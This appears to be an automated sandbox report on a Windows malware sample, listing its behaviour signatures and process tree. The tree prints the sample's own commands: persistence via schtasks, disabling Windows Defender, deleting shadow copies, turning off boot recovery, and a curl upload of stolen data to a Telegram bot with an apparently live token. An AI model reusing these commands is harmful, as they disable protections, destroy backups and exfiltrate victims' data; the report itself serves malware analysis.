Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 04:48

General

  • Target
    2026-08-04_fac9686c5f80e6a18a271024a4e7e199_amadey_elex_luca-stealer_njrat_smoke-loader.exe
  • Size 1.1MB
  • Sample260804-fe4ycadb88
  • SHA256 3966b5499de9a6b303270f6dcb159b758bc53fd4e7f08d0fd5feb00785c0354c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 21 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 10 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • System policy modification 1 TTPs 1 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-04_fac9686c5f80e6a18a271024a4e7e199_amadey_elex_luca-stealer_njrat_smoke-loader.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-04_fac9686c5f80e6a18a271024a4e7e199_amadey_elex_luca-stealer_njrat_smoke-loader.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • UAC bypass
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Modifies WinLogon
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4488
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "LummaCritical" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-04_fac9686c5f80e6a18a271024a4e7e199_amadey_elex_luca-stealer_njrat_smoke-loader.exe" /sc ONLOGON /rl HIGHEST /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:800
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "LummaCritical" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-04_fac9686c5f80e6a18a271024a4e7e199_amadey_elex_luca-stealer_njrat_smoke-loader.exe" /sc ONLOGON /rl HIGHEST /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1344
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop WinDefend
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1112
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:5988
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config WinDefend start=disabled
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3172
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start=disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4772
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /IM MsMpEng.exe /F
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3780
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /IM MsMpEng.exe /F
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3908
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /IM NisSrv.exe /F
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5696
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /IM NisSrv.exe /F
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3164
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:2764
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c wmic shadowcopy delete
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5136
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        wmic shadowcopy delete
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5664
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:3732
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:1640
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c curl -F "document=@C:\ProgramData\all_stolen_data.txt" -F "chat_id=7770318899" -F "caption=рџ“Ѓ ALL STOLEN DATA" https://api.telegram.org/bot8720245760:AAHD7sJUvrGvAorvPWBXX4A0c_0lpTYsXUk/sendDocument
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2072
      • C:\Windows\SysWOW64\curl.exe
        curl -F "document=@C:\ProgramData\all_stolen_data.txt" -F "chat_id=7770318899" -F "caption=рџ“Ѓ ALL STOLEN DATA" https://api.telegram.org/bot8720245760:AAHD7sJUvrGvAorvPWBXX4A0c_0lpTYsXUk/sendDocument
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2324
  • C:\Users\Admin\AppData\Local\Temp\2026-08-04_fac9686c5f80e6a18a271024a4e7e199_amadey_elex_luca-stealer_njrat_smoke-loader.exe
    C:\Users\Admin\AppData\Local\Temp\2026-08-04_fac9686c5f80e6a18a271024a4e7e199_amadey_elex_luca-stealer_njrat_smoke-loader.exe
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4996
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1540

Network

        MITRE ATT&CK Enterprise v16

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        all_stolen_data.txt

        • Path C:\ProgramData\all_stolen_data.txt
        • Size 58B
        • SHA256 a6aedf3933789bf899a986167cb682d12b4b8b540f065b605076e44474257350
        • MD5 SHA1 SHA512 TLSH